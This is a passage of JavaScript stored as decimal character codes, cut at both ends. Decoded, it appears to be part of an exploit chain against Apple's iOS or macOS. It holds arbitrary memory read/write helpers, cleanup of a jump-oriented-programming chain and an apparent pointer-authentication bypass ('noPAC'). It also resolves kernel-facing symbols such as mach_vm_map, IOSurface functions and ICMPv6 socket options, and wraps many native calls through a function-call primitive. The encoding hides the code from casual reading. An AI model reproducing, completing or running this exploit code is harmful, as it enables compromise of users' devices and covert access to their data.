115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 93, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 106, 115, 95, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 41, 32, 43, 32, 48, 120, 56, 110, 41, 32, 43, 32, 48, 120, 49, 48, 110, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 93, 41, 59, 10, 32, 32, 32, 32, 47, 47, 32, 114, 101, 108, 101, 97, 115, 101, 32, 106, 115, 32, 99, 111, 110, 116, 101, 120, 116, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 99, 95, 114, 101, 102, 95, 99, 111, 117, 110, 116, 32, 61, 32, 111, 98, 106, 101, 99, 116, 95, 114, 101, 116, 97, 105, 110, 67, 111, 117, 110, 116, 40, 106, 115, 95, 99, 116, 120, 41, 59, 10, 32, 32, 32, 32, 102, 111, 114, 32, 40, 108, 101, 116, 32, 105, 32, 61, 32, 48, 110, 59, 32, 105, 32, 60, 32, 106, 115, 99, 95, 114, 101, 102, 95, 99, 111, 117, 110, 116, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 111, 98, 106, 101, 99, 116, 95, 114, 101, 108, 101, 97, 115, 101, 40, 106, 115, 95, 99, 116, 120, 41, 59, 10, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 47, 47, 32, 114, 101, 108, 101, 97, 115, 101, 32, 116, 97, 114, 103, 101, 116, 32, 106, 115, 32, 115, 99, 114, 105, 112, 116, 10, 32, 32, 32, 32, 67, 70, 82, 101, 108, 101, 97, 115, 101, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 59, 10, 32, 32, 32, 32, 47, 47, 32, 102, 114, 101, 101, 32, 106, 111, 112, 32, 99, 104, 97, 105, 110, 32, 112, 114, 111, 112, 101, 114, 116, 105, 101, 115, 10, 32, 32, 32, 32, 102, 114, 101, 101, 40, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 91, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 34, 93, 41, 59, 10, 125, 10, 108, 101, 116, 32, 82, 84, 76, 68, 95, 68, 69, 70, 65, 85, 76, 84, 32, 61, 32, 48, 120, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 69, 110, 59, 10, 10, 108, 101, 116, 32, 86, 77, 95, 70, 76, 65, 71, 83, 95, 65, 78, 89, 87, 72, 69, 82, 69, 32, 61, 32, 49, 110, 59, 10, 108, 101, 116, 32, 86, 77, 95, 70, 76, 65, 71, 83, 95, 70, 73, 88, 69, 68, 32, 61, 32, 48, 110, 59, 10, 108, 101, 116, 32, 86, 77, 95, 70, 76, 65, 71, 83, 95, 79, 86, 69, 82, 87, 82, 73, 84, 69, 32, 61, 32, 48, 120, 52, 48, 48, 48, 110, 59, 10, 108, 101, 116, 32, 86, 77, 95, 70, 76, 65, 71, 83, 95, 82, 65, 78, 68, 79, 77, 95, 65, 68, 68, 82, 32, 61, 32, 56, 110, 59, 10, 108, 101, 116, 32, 86, 77, 95, 73, 78, 72, 69, 82, 73, 84, 95, 78, 79, 78, 69, 32, 61, 32, 50, 110, 59, 10, 108, 101, 116, 32, 86, 77, 95, 80, 82, 79, 84, 95, 68, 69, 70, 65, 85, 76, 84, 32, 61, 32, 51, 110, 59, 10, 10, 108, 101, 116, 32, 80, 82, 79, 84, 95, 82, 69, 65, 68, 32, 61, 32, 48, 120, 49, 110, 59, 10, 108, 101, 116, 32, 80, 82, 79, 84, 95, 87, 82, 73, 84, 69, 32, 61, 32, 48, 120, 50, 110, 59, 10, 10, 108, 101, 116, 32, 77, 65, 80, 95, 83, 72, 65, 82, 69, 68, 32, 61, 32, 48, 120, 49, 110, 59, 10, 10, 108, 101, 116, 32, 65, 70, 95, 73, 78, 69, 84, 54, 32, 61, 32, 51, 48, 110, 59, 10, 108, 101, 116, 32, 83, 79, 67, 75, 95, 68, 71, 82, 65, 77, 32, 61, 32, 50, 110, 59, 10, 108, 101, 116, 32, 73, 80, 80, 82, 79, 84, 79, 95, 73, 67, 77, 80, 86, 54, 32, 61, 32, 53, 56, 110, 59, 10, 108, 101, 116, 32, 73, 67, 77, 80, 54, 95, 70, 73, 76, 84, 69, 82, 32, 61, 32, 49, 56, 110, 59, 10, 10, 108, 101, 116, 32, 83, 69, 69, 75, 95, 83, 69, 84, 32, 61, 32, 48, 110, 59, 10, 10, 108, 101, 116, 32, 95, 78, 83, 71, 69, 84, 69, 88, 69, 67, 85, 84, 65, 66, 76, 69, 80, 65, 84, 72, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 95, 78, 83, 71, 101, 116, 69, 120, 101, 99, 117, 116, 97, 98, 108, 101, 80, 97, 116, 104, 34, 41, 59, 10, 108, 101, 116, 32, 65, 67, 67, 69, 83, 83, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 97, 99, 99, 101, 115, 115, 34, 41, 59, 10, 108, 101, 116, 32, 67, 79, 78, 70, 83, 84, 82, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 99, 111, 110, 102, 115, 116, 114, 34, 41, 59, 10, 108, 101, 116, 32, 70, 67, 78, 84, 76, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 99, 110, 116, 108, 34, 41, 59, 10, 108, 101, 116, 32, 70, 83, 89, 78, 67, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 115, 121, 110, 99, 34, 41, 59, 10, 108, 101, 116, 32, 70, 73, 76, 69, 80, 79, 82, 84, 95, 77, 65, 75, 69, 70, 68, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 105, 108, 101, 112, 111, 114, 116, 95, 109, 97, 107, 101, 102, 100, 34, 41, 59, 10, 108, 101, 116, 32, 70, 73, 76, 69, 80, 79, 82, 84, 95, 77, 65, 75, 69, 80, 79, 82, 84, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 105, 108, 101, 112, 111, 114, 116, 95, 109, 97, 107, 101, 112, 111, 114, 116, 34, 41, 59, 10, 108, 101, 116, 32, 70, 79, 80, 69, 78, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 111, 112, 101, 110, 34, 41, 59, 10, 108, 101, 116, 32, 70, 67, 76, 79, 83, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 99, 108, 111, 115, 101, 34, 41, 59, 10, 108, 101, 116, 32, 70, 87, 82, 73, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 119, 114, 105, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 71, 69, 84, 83, 79, 67, 75, 79, 80, 84, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 103, 101, 116, 115, 111, 99, 107, 111, 112, 116, 34, 41, 59, 10, 108, 101, 116, 32, 76, 83, 69, 69, 75, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 108, 115, 101, 101, 107, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 84, 72, 82, 69, 65, 68, 95, 83, 69, 76, 70, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 116, 104, 114, 101, 97, 100, 95, 115, 101, 108, 102, 34, 41, 59, 10, 108, 101, 116, 32, 77, 69, 77, 77, 69, 77, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 101, 109, 109, 101, 109, 34, 41, 59, 10, 108, 101, 116, 32, 77, 69, 77, 83, 69, 84, 95, 80, 65, 84, 84, 69, 82, 78, 56, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 101, 109, 115, 101, 116, 95, 112, 97, 116, 116, 101, 114, 110, 56, 34, 41, 59, 10, 108, 101, 116, 32, 79, 80, 69, 78, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 111, 112, 101, 110, 34, 41, 59, 10, 108, 101, 116, 32, 80, 82, 69, 65, 68, 86, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 114, 101, 97, 100, 118, 34, 41, 59, 10, 108, 101, 116, 32, 80, 87, 82, 73, 84, 69, 86, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 119, 114, 105, 116, 101, 118, 34, 41, 59, 10, 108, 101, 116, 32, 80, 87, 82, 73, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 119, 114, 105, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 80, 82, 69, 65, 68, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 114, 101, 97, 100, 34, 41, 59, 10, 108, 101, 116, 32, 82, 69, 65, 68, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 114, 101, 97, 100, 34, 41, 59, 10, 108, 101, 116, 32, 83, 69, 84, 83, 79, 67, 75, 79, 80, 84, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 101, 116, 115, 111, 99, 107, 111, 112, 116, 34, 41, 59, 10, 108, 101, 116, 32, 83, 79, 67, 75, 69, 84, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 111, 99, 107, 101, 116, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 67, 65, 84, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 99, 97, 116, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 83, 84, 82, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 115, 116, 114, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 76, 69, 78, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 108, 101, 110, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 78, 67, 77, 80, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 110, 99, 109, 112, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 82, 67, 72, 82, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 114, 99, 104, 114, 34, 41, 59, 10, 108, 101, 116, 32, 80, 84, 72, 82, 69, 65, 68, 95, 83, 69, 76, 70, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 116, 104, 114, 101, 97, 100, 95, 115, 101, 108, 102, 34, 41, 59, 10, 108, 101, 116, 32, 80, 84, 72, 82, 69, 65, 68, 95, 74, 79, 73, 78, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 116, 104, 114, 101, 97, 100, 95, 106, 111, 105, 110, 34, 41, 59, 10, 108, 101, 116, 32, 87, 82, 73, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 119, 114, 105, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 82, 69, 77, 79, 86, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 114, 101, 109, 111, 118, 101, 34, 41, 59, 10, 108, 101, 116, 32, 65, 82, 67, 52, 82, 65, 78, 68, 79, 77, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 97, 114, 99, 52, 114, 97, 110, 100, 111, 109, 34, 41, 59, 10, 108, 101, 116, 32, 84, 65, 83, 75, 95, 84, 72, 82, 69, 65, 68, 83, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 116, 97, 115, 107, 95, 116, 104, 114, 101, 97, 100, 115, 34, 41, 59, 10, 108, 101, 116, 32, 84, 72, 82, 69, 65, 68, 95, 83, 85, 83, 80, 69, 78, 68, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 116, 104, 114, 101, 97, 100, 95, 115, 117, 115, 112, 101, 110, 100, 34, 41, 59, 10, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 77, 65, 75, 69, 95, 77, 69, 77, 79, 82, 89, 95, 69, 78, 84, 82, 89, 95, 54, 52, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 109, 97, 107, 101, 95, 109, 101, 109, 111, 114, 121, 95, 101, 110, 116, 114, 121, 95, 54, 52, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 80, 79, 82, 84, 95, 68, 69, 65, 76, 76, 79, 67, 65, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 112, 111, 114, 116, 95, 100, 101, 97, 108, 108, 111, 99, 97, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 86, 77, 95, 77, 65, 80, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 118, 109, 95, 109, 97, 112, 34, 41, 59, 10, 108, 101, 116, 32, 77, 77, 65, 80, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 109, 97, 112, 34, 41, 59, 10, 108, 101, 116, 32, 77, 76, 79, 67, 75, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 108, 111, 99, 107, 34, 41, 59, 10, 108, 101, 116, 32, 77, 85, 78, 76, 79, 67, 75, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 117, 110, 108, 111, 99, 107, 34, 41, 59, 10, 108, 101, 116, 32, 85, 78, 65, 77, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 117, 110, 97, 109, 101, 34, 41, 59, 10, 10, 108, 101, 116, 32, 73, 79, 83, 85, 82, 70, 65, 67, 69, 67, 82, 69, 65, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 73, 79, 83, 117, 114, 102, 97, 99, 101, 67, 114, 101, 97, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 73, 79, 83, 85, 82, 70, 65, 67, 69, 80, 82, 69, 70, 69, 84, 67, 72, 80, 65, 71, 69, 83, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 73, 79, 83, 117, 114, 102, 97, 99, 101, 80, 114, 101, 102, 101, 116, 99, 104, 80, 97, 103, 101, 115, 34, 41, 59, 10, 108, 101, 116, 32, 73, 79, 83, 85, 82, 70, 65, 67, 69, 71, 69, 84, 66, 65, 83, 69, 65, 68, 68, 82, 69, 83, 83, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 73, 79, 83, 117, 114, 102, 97, 99, 101, 71, 101, 116, 66, 97, 115, 101, 65, 100, 100, 114, 101, 115, 115, 34, 41, 59, 10, 108, 101, 116, 32, 107, 73, 79, 83, 117, 114, 102, 97, 99, 101, 65, 108, 108, 111, 99, 83, 105, 122, 101, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 107, 73, 79, 83, 117, 114, 102, 97, 99, 101, 65, 108, 108, 111, 99, 83, 105, 122, 101, 34, 41, 46, 110, 111, 80, 65, 67, 40, 41, 41, 59, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 68, 85, 77, 80, 40, 97, 100, 100, 114, 44, 32, 115, 122, 41, 32, 123, 10, 32, 32, 32, 32, 47, 47, 32, 102, 99, 97, 108, 108, 40, 108, 111, 99, 97, 108, 95, 100, 117, 109, 112, 44, 32, 97, 100, 100, 114, 44, 32, 115, 122, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 106, 115, 95, 109, 97, 108, 108, 111, 99, 40, 115, 122, 41, 32, 123, 10, 32, 32, 32, 32, 98, 117, 102, 102, 32, 61, 32, 110, 101, 119, 32, 85, 105, 110, 116, 56, 65, 114, 114, 97, 121, 40, 66, 105, 103, 73, 110, 116, 40, 115, 122, 41, 46, 97, 115, 73, 110, 116, 51, 50, 115, 41, 46, 102, 105, 108, 108, 40, 48, 120, 48, 48, 41, 59, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 117, 114, 101, 97, 100, 54, 52, 40, 109, 101, 109, 46, 97, 100, 100, 114, 111, 102, 40, 98, 117, 102, 102, 41, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 116, 104, 114, 101, 97, 100, 95, 115, 101, 108, 102, 40, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 84, 72, 82, 69, 65, 68, 95, 83, 69, 76, 70, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 116, 104, 114, 101, 97, 100, 95, 103, 101, 116, 115, 112, 101, 99, 105, 102, 105, 99, 40, 107, 101, 121, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 84, 72, 82, 69, 65, 68, 95, 71, 69, 84, 83, 80, 69, 67, 73, 70, 73, 67, 44, 32, 107, 101, 121, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 116, 104, 114, 101, 97, 100, 95, 115, 101, 108, 102, 40, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 84, 72, 82, 69, 65, 68, 95, 83, 69, 76, 70, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 116, 104, 114, 101, 97, 100, 95, 106, 111, 105, 110, 40, 116, 104, 114, 44, 32, 118, 97, 108, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 84, 72, 82, 69, 65, 68, 95, 74, 79, 73, 78, 44, 32, 116, 104, 114, 44, 32, 118, 97, 108, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 95, 78, 83, 71, 101, 116, 69, 120, 101, 99, 117, 116, 97, 98, 108, 101, 80, 97, 116, 104, 40, 101, 120, 101, 99, 117, 116, 97, 98, 108, 101, 95, 112, 97, 116, 104, 44, 32, 108, 101, 110, 103, 116, 104, 95, 112, 116, 114, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 95, 78, 83, 71, 69, 84, 69, 88, 69, 67, 85, 84, 65, 66, 76, 69, 80, 65, 84, 72, 44, 32, 101, 120, 101, 99, 117, 116, 97, 98, 108, 101, 95, 112, 97, 116, 104, 44, 32, 108, 101, 110, 103, 116, 104, 95, 112, 116, 114, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 99, 111, 110, 102, 115, 116, 114, 40, 110, 97, 109, 101, 44, 32, 98, 117, 102, 44, 32, 108, 101, 110, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 79, 78, 70, 83, 84, 82, 44, 32, 110, 97, 109, 101, 44, 32, 98, 117, 102, 44, 32, 108, 101, 110, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 114, 99, 104, 114, 40, 115, 44, 32, 99, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 82, 67, 72, 82, 44, 32, 115, 44, 32, 99, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 99, 97, 116, 40, 115, 49, 44, 32, 115, 50, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 67, 65, 84, 44, 32, 115, 49, 44, 32, 115, 50, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 108, 101, 110, 40, 115, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 76, 69, 78, 44, 32, 115, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 115, 116, 114, 40, 115, 49, 44, 32, 115, 50, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 83, 84, 82, 44, 32, 115, 49, 44, 32, 115, 50, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 110, 99, 109, 112, 40, 115, 49, 44, 32, 115, 50, 44, 32, 110, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 78, 67, 77, 80, 44, 32, 115, 49, 44, 32, 115, 50, 44, 32, 110, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 111, 99, 107, 101, 116, 40, 100, 111, 109, 97, 105, 110, 44, 32, 116, 121, 112, 101, 44, 32, 112, 114, 111, 116, 111, 99, 111, 108, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 79, 67, 75, 69, 84, 44, 32, 100, 111, 109, 97, 105, 110, 44, 32, 116, 121, 112, 101, 44, 32, 112, 114, 111, 116, 111, 99, 111, 108, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 103, 101, 116, 115, 111, 99, 107, 111, 112, 116, 40, 115, 111, 99, 107, 101, 116, 44, 32, 108, 101, 118, 101, 108, 44, 32, 111, 112, 116, 105, 111, 110, 95, 110, 97, 109, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 118, 97, 108, 117, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 108, 101, 110, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 71, 69, 84, 83, 79, 67, 75, 79, 80, 84, 44, 32, 115, 111, 99, 107, 101, 116, 44, 32, 108, 101, 118, 101, 108, 44, 32, 111, 112, 116, 105, 111, 110, 95, 110, 97, 109, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 118, 97, 108, 117, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 108, 101, 110, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 101, 116, 115, 111, 99, 107, 111, 112, 116, 40, 115, 111, 99, 107, 101, 116, 44, 32, 108, 101, 118, 101, 108, 44, 32, 111, 112, 116, 105, 111, 110, 95, 110, 97, 109, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 118, 97, 108, 117, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 108, 101, 110, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 69, 84, 83, 79, 67, 75, 79, 80, 84, 44, 32, 115, 111, 99, 107, 101, 116, 44, 32, 108, 101, 118, 101, 108, 44, 32, 111, 112, 116, 105, 111, 110, 95, 110, 97, 109, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 118, 97, 108, 117, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 108, 101, 110, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 105, 108, 101, 112, 111, 114, 116, 95, 109, 97, 107, 101, 112, 111, 114, 116, 40, 102, 100, 44, 32, 112, 111, 114, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 73, 76, 69, 80, 79, 82, 84, 95, 77, 65, 75, 69, 80, 79, 82, 84, 44, 32, 102, 100, 44, 32, 112, 111, 114, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 105, 108, 101, 112, 111, 114, 116, 95, 109, 97, 107, 101, 102, 100, 40, 112, 111, 114, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 73, 76, 69, 80, 79, 82, 84, 95, 77, 65, 75, 69, 70, 68, 44, 32, 112, 111, 114, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 101, 109, 115, 101, 116, 95, 112, 97, 116, 116, 101, 114, 110, 56, 40, 98, 117, 102, 44, 32, 118, 97, 108, 44, 32, 115, 122, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 69, 77, 83, 69, 84, 95, 80, 65, 84, 84, 69, 82, 78, 56, 44, 32, 98, 117, 102, 44, 32, 118, 97, 108, 44, 32, 115, 122, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 101, 109, 109, 101, 109, 40, 98, 105, 103, 44, 32, 98, 105, 103, 95, 108, 101, 110, 44, 32, 108, 105, 116, 116, 108, 101, 44, 32, 108, 105, 116, 116, 108, 101, 95, 108, 101, 110, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 69, 77, 77, 69, 77, 44, 32, 98, 105, 103, 44, 32, 98, 105, 103, 95, 108, 101, 110, 44, 32, 108, 105, 116, 116, 108, 101, 44, 32, 108, 105, 116, 116, 108, 101, 95, 108, 101, 110, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 97, 99, 99, 101, 115, 115, 40, 112, 97, 116, 104, 44, 32, 109, 111, 100, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 65, 67, 67, 69, 83, 83, 44, 32, 112, 97, 116, 104, 44, 32, 109, 111, 100, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 112, 101, 110, 40, 112, 97, 116, 104, 44, 32, 109, 111, 100, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 79, 80, 69, 78, 44, 32, 112, 97, 116, 104, 44, 32, 109, 111, 100, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 111, 112, 101, 110, 40, 112, 97, 116, 104, 44, 32, 109, 111, 100, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 79, 80, 69, 78, 44, 32, 112, 97, 116, 104, 44, 32, 109, 111, 100, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 99, 108, 111, 115, 101, 40, 102, 100, 41, 32, 123, 10, 32, 32, 32, 